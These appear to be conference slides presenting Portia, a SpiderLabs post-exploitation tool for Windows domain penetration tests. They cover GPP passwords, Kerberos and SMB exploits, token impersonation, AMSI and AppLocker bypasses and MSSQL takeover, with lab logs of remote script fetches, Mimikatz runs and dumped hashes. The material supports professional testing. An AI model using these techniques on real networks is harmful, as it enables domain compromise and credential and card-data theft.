Portia - Finding Your Way To Domain Access

Michael Gianarakis
Keith Lee
#whoami

- Michael Gianarakis (@mgianarakis)
  - Director of SpiderLabs APAC
  - SecTalks Brisbane
  - Flat Duck Enthusiast
- Keith Lee (@keith55)
  - Senior Consultant at SpiderLabs APAC
Motivation

• We do a number of internal network penetration tests as part of our day to day

• There are a bunch of awesome tools and techniques for capturing and cracking credentials (e.g. Responder)

• We wanted to fill the gap after cracking a low privilege password hash from NetBIOS/LLMNR/WPAD attacks etc. to compromising the entire domain

• Also to help with a few common issues that we as penetration testers face

• Developed a tool, Portia to help with this.
Motivation

• We developed Portia because we found similar tools had a number of issues
  
  • Limited support and success with recent versions of Windows
  
  • Not as effective against systems that have implemented common hardening techniques
  
  • Wanted a single, but modular tool to cover a number of techniques rather than multiple tools
Portia

- Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised
  - Privilege escalation
  - Lateral movement
  - Convenience modules
- Portia is a genus of jumping spider that feeds on other spiders - known for their intelligent hunting behaviour and problem solving capabilities usually only found in larger animals
Portia basic workflow

• Checks the credentials
• Enumerates list of users in Domain Admin group
• Check if account is part of Domain Admin group
• Checks SYSVOL for stored credentials
• Sync times with DC and exploits MS14-068 if vulnerable
• Also checks for MS08-067 and MS17-010
• Checks which hosts the account has admin access on
• Checks for impersonation tokens belonging to Domain Admin group
• If found, use the impersonation token and run Mimikatz to target domain controller
• If not found, runs Mimikatz and dumps local password hashes
• If any new passwords hashes found, tests the credentials and then use them to access other hosts in the network
• Continue to do so until all password hashes have been exhausted or when all hosts have been compromised.
• Continues with post exploitation modules like finding interesting files, search disks and memory for PAN numbers (if option is enabled)
Starts with the “low-hanging fruit”
Storing passwords in SYSVOL or Group Policy Preference (GPP)

• Credentials may be stored in Group Policy Preferences

• Locations in Group Policy Preferences where credentials may be saved
  • Drive Maps
  • Local Users and Groups
  • Scheduled Tasks
  • Services
  • Data Sources
Storing passwords in SYSVOL or Group Policy Preference (GPP)

• When a new GPP is created an XML file is created in SYSVOL which contains relevant configuration data including potentially passwords

• Any authenticated domain user account is able to access it

• Passwords are encrypted using a “known” 32-byte AES key.

• “Known” because Microsoft published it on MSDN
Storing passwords in SYSVOL or Group Policy Preference (GPP)

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key. <3>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
Storing passwords in SYSVOL or Group Policy Preference (GPP)

- MS Patch - MS14-025 (KB2962486)
  - Unable to create new GPO preferences that rely on saved passwords
  - Doesn’t remove the old insecure passwords
    - Have they disabled or removed the old account that were used in GPP previously?
MS14-068 (KB3011780) Vulnerability in Microsoft Windows Kerberos KDC

• An attacker will be able to use an unprivileged domain user account and elevate the privileges to that of a domain administrator account.

• A Privilege Attribute Certificate (PAC) can be forged that would be accepted by the KDC as legitimate. Can create a fake PAC claiming the regular user is a member of the domain administrators group.
MS08-067 and MS17-010

• MS08-067 (that old chestnut)
  • Buffer overflow vulnerability triggered by a specially crafted RPC request.
  • Old and mostly patched out but sometimes you get lucky.

• MS17-010
  • Thanks Shadow Brokers/Equation Group
  • Flaw with how SMBv1 handles certain requests that can result in remote code execution
Assuming no passwords in SYSVOL and MS14-068, MS08-067 and MS17-010 are not exploitable - what’s next?
Impersonation Token

• What is Impersonation Token?

• When a user logs into a system a delegation token is created which is converted to an impersonation token once the user logs out.

• The impersonation token has the same rights and properties as the delegation token.

• The delegation and impersonation tokens, once created remains on the system until it is rebooted.

• If a Domain Administrator impersonate token is found can use Mimikatz or add to the Domain Admin group to dump credentials on DC
Enumerating Tokens and Attempting Privilege Escalation
172.16.126.189 -- [03/May/2017 23:58:17] "GET /Invoke-TokenManipulation.ps1 HTTP/1.1" 200 --

Enumerating Users in Domain administrator admin

[+] Is 'milo' in the Domain Admin group?: No

[+] List of Tokens on host: 172.16.126.189

<table>
<thead>
<tr>
<th>Domain</th>
<th>Username</th>
</tr>
</thead>
<tbody>
<tr>
<td>CORP</td>
<td>milo</td>
</tr>
<tr>
<td>CORP</td>
<td>admin</td>
</tr>
<tr>
<td>Windows7-PC</td>
<td>finance</td>
</tr>
<tr>
<td>NT AUTHORITY</td>
<td>NETWORK SERVICE</td>
</tr>
<tr>
<td>NT AUTHORITY</td>
<td>SYSTEM</td>
</tr>
</tbody>
</table>

[+] Found Domain Admin Token: 'corp\admin'

[+] Checking Currently Logged On Users on Host: 172.16.126.189
CORP\milo

[+] Checking if UAC is Enabled on Host 172.16.126.189
[+] UAC is Disabled on Host: 172.16.126.189

[+] Attempting to Elevate Privileges Using Token: 'corp\admin'
172.16.126.189 -- [03/May/2017 23:58:30] "GET /JD4zymKiAq9mZB4vb823.bat HTTP/1.1" 200 --

[+] Running Tasks on Host: 172.16.126.189
172.16.126.189 -- [03/May/2017 23:58:44] "GET /Invoke-TokenManipulation.ps1 HTTP/1.1" 200 --

[+] Removing Tasks from Host: 172.16.126.189
[+] Attempting to Run Mimikatz on Domain Controller: 172.16.126.143
[+] Sleeping for 10 seconds
[+] Sleeping for 10 seconds

[+] Found the below credentials via Mimikatz

<table>
<thead>
<tr>
<th>Domain</th>
<th>Username</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>CORP</td>
<td>admin</td>
<td>Password1</td>
</tr>
<tr>
<td>CORP.CONTOSO.COM</td>
<td>admin</td>
<td>Password1</td>
</tr>
</tbody>
</table>

Testing Credentials
172.16.126.143:445 WIN-Q3LF0IURHUS | CORP\admin:Password1 [OK][ADMIN]
Portia - Impersonation Tokens

- If no impersonate token is found, the Portia runs Mimikatz as well as dumps local password hashes.

- If there are any new passwords/hashes they are added to the database and the process starts again.

- The new passwords will be tested against every host until there are no new passwords.
Shared Local Administrator Passwords

• IT administrators use a default Operating System (OS) image (with the software installed) and roll out to new users. The OS is configured with a default password.

• In order for the IT staff to support the workstations/servers, it’s easy to use a single default local administrator password.

• From an offensive perspective you can exploit this to move from compromising one host in the network to compromising 100 hosts in the network.

• Portia detects if multiple machines are using the same local administrator password
  • Does not matter if the machines are connected to the domain
AMSI

- Anti-Malware Scan Interface
  - Designed to detect and prevent script attacks
  - Implements a number of security checks
  - Provides file, memory and stream scanning, content source URL/IP reputation checks as well as other techniques
  - Includes additional calls for scripts that use obfuscation or layer-dynamic code evaluation
- Portia implements two techniques to bypass AMSI
AMSI Bypass Technique 1

• If .NET v2.0.50727.4927 is installed you can force the use of PowerShell v2 using the -Version option.

• PowerShell v2 does not support AMSI.

• Portia checks for the appropriate versions and forces the use of PowerShell v2.
AMS I Bypass Technique 2

• Another technique to bypass AMSI is to unload AMSI from the current process.

• This technique was created by Matt Graeber

• Simple one-liner that unloads AMSI from the current process and doesn’t require elevated privileges
App Locker Bypass

• Portia implements a number of App Locker bypass techniques:
  • Weak Path Rules
  • MSBuild.exe
  • CScriptShell
App Locker Bypass - Weak Path Rules

• Exploits inappropriate folder permissions.

• By default Windows allows read and write access to the following folders:
  • C:\Windows\Tasks
  • C:\Windows\Temp
  • C:\Windows\tracing

• A binary that executes from these folders will not be blocked by App Locker

• Portia loads PowerShell into the Tasks directory.
App Locker Bypass - MSBuild.exe

• Injecting code into signed Microsoft binaries will execute without being picked up by Device Guard.

• MSBuild.exe allows for “inline tasks” which can be used to compile and execute code in memory on the target.

• Can be used to execute arbitrary code on that target.
App Locker Bypass - CScriptShell

• CScriptShell is a tool that allows you to bypass application whitelisting and PowerShell restrictions.

• Developed by Cn33liz and using a technique developed by SubTee that lets you run .NET code inside JScript or VBScript
Invoke-Obfuscation

• Portia supports the Invoke-Obfuscation tool developed by Daniel Bohannon.

• Invoke-Obfuscation is a PowerShell script obfuscation that can assist with AV bypass.
Invoke-ReflectivePEInjection

• The Invoke-Mimikatz script which is commonly used run and outdated version of Mimikatz that can have issues with Windows 10.

• Portia uses the Invoke-ReflectivePEInjection script which runs the latest version of Mimikatz (or any binary) in the memory of the target host which is more reliable on recent versions of Windows.
Portia - Hunting for Correct Credentials to access SMB Shares/Folders

- $ python portia.py -d CORP -u milo -p Password1 -M shares

Testing Access to Shared Folders
Testing credentials
[-] 172.16.126.189:445 WINDOWS7-PC | corp\milo:Password1 [FAILED]
[+] 172.16.126.189:445 WINDOWS7-PC | CORP.CONTOSO.COM\milo:Password1 [OK][ADMIN]
[-] 172.16.126.189:445 WINDOWS7-PC | CORP.CONTOSO.COM\admin:Password1 [FAILED]
[+] 172.16.126.189:445 WINDOWS7-PC | Windows7-PC\finance:p@ssw0rd1234 [OK]

Testing access
172.16.126.189 C$\Users\milo\Favorites [OK] milo|Password1
172.16.126.189 C$\Users\Public\Desktop [OK] milo|Password1
172.16.126.189 C$\Users\Public\Documents [OK] milo|Password1
172.16.126.189 C$\Users\Public\Downloads [OK] milo|Password1
172.16.126.189 C$\Users\Public\Favorites [OK] milo|Password1
172.16.126.189 C$\Users\Public\Libraries [OK] milo|Password1
172.16.126.189 C$\Users\Public\Recorded TV [OK] milo|Password1
172.16.126.189 C$\Users\sqlservice\AppData [OK] milo|Password1
172.16.126.189 C$\Users\sqlservice\Desktop [OK] milo|Password1
172.16.126.189 C$\Users\sqlservice\Documents [OK] milo|Password1
172.16.126.189 C$\Users\sqlservice\Downloads [OK] milo|Password1
172.16.126.189 C$\Users\sqlservice\Favorites [OK] milo|Password1
172.16.126.189 C$\Users\Windows7\AppData [OK] milo|Password1
172.16.126.189 C$\Users\Windows7\Desktop [OK] milo|Password1
172.16.126.189 C$\Users\Windows7\Documents [OK] milo|Password1
172.16.126.189 C$\Users\Windows7\Downloads [OK] milo|Password1
172.16.126.189 C$\Users\Windows7\Favorites [OK] milo|Password1
172.16.126.189 share\finance [OK] finance|p@ssw0rd1234
Portia - Current Modules

- Wireless Passwords
- WinvNC, Ultravnc
- Putty
- SNMP
- Browser Credentials (Firefox/Chrome)
- Dumping KeePass Credentials
- Filezilla sitemanager.xml
- Apache HTTPd.conf

- Unattend.xml, Sysprep.xml, Sysprep.inf
- Passwords stored in documents labelled *password*
- IIS Credentials (ApplicationHost.config)
- PAN numbers in files/memory
- Enabling RDP
- Automatically compromise and search MSSQL databases for sensitive information
Automatically Compromising MSSQL

• Look for weak passwords for the sa account

• If it’s successful it enables xp_cmdshell and adds a local admin account on the box

• Dumps hashes, cleartext credentials

• Looks for any interesting information stored in the databases for example credit cards and passwords etc.
Automatically Compromising MSSQL

```
root@kali:/mnt/hgfs/pentest/portia# python portia.py 172.16.126.0/24 -d workgroup -u administrator -p xxx -s -M mssqlauto -bypass
[*] Scanning Target Network
172.16.126.142 [NBNS]
172.16.126.142 [MSSQL]

[-] 172.16.126.142:445 | workgroup\administrator:xxx [FAILED]
[+] 172.16.126.142:445 | [MSSQL] [Bruteforce|Found Account] | sa:P@ssw0rd
[+] 172.16.126.142:445 | sa:P@ssw0rd | [Adding Local Admin Account] | portia:Password1
[+] 172.16.126.142:445 | portia:Password1 | [Testing Access] [OK]
[-] 172.16.126.142:445 | [powershell] | Blocked By AppLocker
172.16.126.142:445 [27Jul/2017 22:29:03] "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
[+] Dumping Hashes from Host: 172.16.126.142
administrator:500:aad3b435b51404eead3b435b51404ee:64f12cdda88057e06a81b54e73b949b::
Guest:501:aad3b435b51404eead3b435b51404ee:31d6cfe8ed16ae931b73c5907e0c089c0::
milo:1001:aad3b435b51404eead3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::
user1:1002:aad3b435b51404eead3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::
sqllagent:1003:aad3b435b51404eead3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::
user2:1008:aad3b435b51404eead3b435b51404ee:687675b321b5cb384369dce79a76663::
spladders:1012:aad3b435b51404eead3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::
portia:1013:aad3b435b51404eead3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::
milo:7835eb9fadb2f331f49d773961dbe2591:CORP.CONTOSO.COM::CORP::
admin:9789bd767cc763249b65c48a0772282f9:CORP.CONTOSO.COM::CORP::
CORP\PC02$a:aad3b435b51404eead3b435b51404ee:87090dd8c778307e6dabaee21d03bf11::
```
Automatically Compromising MSSQL

````
[+] 172.16.126.142:445 | [SAM] | administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::
[+] 172.16.126.142:445 | [SAM] | Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c::
[+] 172.16.126.142:445 | [SAM] | milo:1001:aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a029e7c4957af7c72::
[+] 172.16.126.142:445 | [SAM] | user1:1002:aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a029e7c4957af7c72::
[+] 172.16.126.142:445 | [SAM] | sqlagent:1003:aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a029e7c4957af7c72::
[+] 172.16.126.142:445 | [SAM] | user2:1008:aad3b435b51404eeaad3b435b51404ee:687675b321b5dbc384369dcf79a76663::
[+] 172.16.126.142:445 | [SAM] | spiderlabs:1012:aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a029e7c4957af7c72::
[+] 172.16.126.142:445 | [SAM] | portia:1013:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::

[+] 172.16.126.142:445 | sa:P@sw0rd | [MSSQL] | Dump Credentials
----------------- ------------------------------
sa 0x01009FF379C02C9F58469EB44983090BB996CD6EFD359055F56E6C
admin 0x01009FF379C02C9F58469EB44983090BB996CD6EFD359055F56E6C
[+] 172.16.126.142:445 | sa:P@sw0rd | [MSSQL] [Interesting Data]
| Host | Database | Table | username | password | ccnum |
-----------------------------------------------
| 172.16.126.142 | test | table1 | admin | Password1 | 4916333126356964 |
| 172.16.126.142 | test | table1 | milo | p@sw0rd | 5521489893566848 |
```

Portia - Find Interesting Files

List of Hosts Uncompromised
All hosts have been compromised

Admin Access on the Below Hosts

<table>
<thead>
<tr>
<th>IP Address</th>
<th>User</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>172.16.126.179</td>
<td>corp</td>
<td>milo</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Password1</td>
</tr>
</tbody>
</table>

Search Drives for Interesting Files

[*] Enumerating Drives on Host: 172.16.126.179
[*] Drives found on Host: 172.16.126.179
C:\, D:\

[*] Finding Files on Host: 172.16.126.179
[+] List of Interesting Files Found
C:\Program Files\uvnc\bvba\UltraVnc\UltraVNC.ini
C:\Users\milo\Desktop\passwords.txt
C:\Users\milo\Desktop\superseretdb.kdb
C:\Users\milo\Desktop\unattend.xml

[+] 172.16.126.179:445 WINDOWS7-PC | C:\Program Files\uvnc\bvba\UltraVnc\UltraVNC.ini | 172.16.126.179_C\Program Files\uvnc\bvba_UltraVnc\UltraVNC.ini
Password1: p@ssw0rd
Password2: p@ssw0rd

[+] 172.16.126.179:445 WINDOWS7-PC | C:\Users\milo\Desktop\passwords.txt | 172.16.126.179_C\Users\milo\Desktop\passwords.txt
may the force be with you

[+] 172.16.126.179:445 WINDOWS7-PC | C:\Users\milo\Desktop\superseretdb.kdb | 172.16.126.179_C\Users\milo\Desktop\superseretdb.kdb

[+] 172.16.126.179:445 WINDOWS7-PC | C:\Users\milo\Desktop\unattend.xml | 172.16.126.179_C\Users\milo\Desktop\unattend.xml
Username    Password
------------  ------------
username     my_password
Portia - Dumping Browser Credentials

- Uses various Powershell scripts
- First checks for Firefox or Chrome
- Checks the current logged in user and checks whether we have the hash or password belonging to the user
- Powershell script that runs in the user session that dumps the credentials to a file
Portia - Searching for PAN on Disk and In-Memory

• Portia uses modified versions of the following tools
  • https://github.com/jksdua/credit-card-finder (Disk)
  • https://github.com/Shellntel/scripts/blob/master/mem_scraper.ps1 (Memory)

• Portia enumerates the list of installed applications on the hosts where we have admin access on

• Portia enumerates the processes running on the hosts where we have admin access on

• Portia produces a table mapping which processes/programs are running on which hosts and what processes are common. This will allow an attacker to find interesting ‘processes’ to dump and find PAN numbers.
Portia - Searching for PAN on Disk and In-Memory

<table>
<thead>
<tr>
<th>Processes Running on Hosts</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1  GoogleUpdate</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>2  ism</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>3  ManagementAgentHost</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>4  spoolsv</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>5  djaFMutn</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>6  vgPzuLWH</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>7  vmacthlp</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>8  Service_KMS</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>9  dfars</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>10 wininit</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>11 TrustedInstaller</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>12 dns</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>13 taskmgr</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>14 smss</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>15 gFTNโทรMoH</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>16 dfw</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>17 TPautoConnect</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>18 ismserv</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>19 svhost</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>20 explorer</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>21 winlogon</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>22 lsass</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>23 System</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>24 vmtoolsd</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>25 Idle</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>26 XalKpdm</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>27 services</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
<tr>
<td>28 axJuIdox</td>
<td>172.16.126.189</td>
</tr>
<tr>
<td>29 dfssvc</td>
<td>172.16.126.143</td>
</tr>
<tr>
<td>30 VGAuhservice</td>
<td>172.16.126.189, 172.16.126.143</td>
</tr>
</tbody>
</table>

[*] Please enter a number or enter '*' to dump and search all processes: 30

Searching Memory for PAN Numbers
Dumping Process: VGAuhservice on Host: 172.16.126.189
172.16.126.189 -- [03/May/2017 23:45:40] "GET /mem_scraper.ps1 HTTP/1.1" 200 --

Dumping Process: VGAuhservice on Host: 172.16.126.143
172.16.126.143 -- [03/May/2017 23:45:52] "GET /mem_scraper.ps1 HTTP/1.1" 200 --
Portia - Analysing Hashes

• Currently has some basic analysis of hashes
  • Blank hash
  • Accounts using the same hash
• Future improvements
  • Checking for password reuse between local admin account and domain admin
Portia - Analysing Hashes

[+] List of Valid Hashes
Administrator: 500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::
Guest: 501:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::
krbtgt: 502:aad3b435b51404eeaad3b435b51404ee:a3c3362c3eb4e0ef8adebede3cb2055::<
corp.contoso.com\milo: 1103:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::<
corp.contoso.com\admin: 1105:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::<
Administrator: 500:aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a020e7c4957afc72::<
Guest: 501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c::<

[+] Analyzing Hashes for Patterns
Password Hashes Used By the Below Accounts

<table>
<thead>
<tr>
<th>Hashes</th>
<th>Accounts</th>
</tr>
</thead>
<tbody>
<tr>
<td>aad3b435b51404eeaad3b435b51404ee:a3c3362c3eb4e0ef8adebede3cb2055</td>
<td>krbtgt, Administrator, Guest, corp.contoso.com\milo, corp.contoso.com\admin</td>
</tr>
<tr>
<td>aad3b435b51404eeaad3b435b51404ee:de26ccee0356891a4a020e7c4957afc72</td>
<td>aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b</td>
</tr>
</tbody>
</table>

Accounts Using BLANK Password
Guest: 501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c::<|
Future Enhancements

• Support for attacking targets in adjacent networks via proxying through trusted hosts

• Data exfiltration modules

• More database modules

• Docker Image

• Easy setup
github.com/spiderlabs/portia
Demo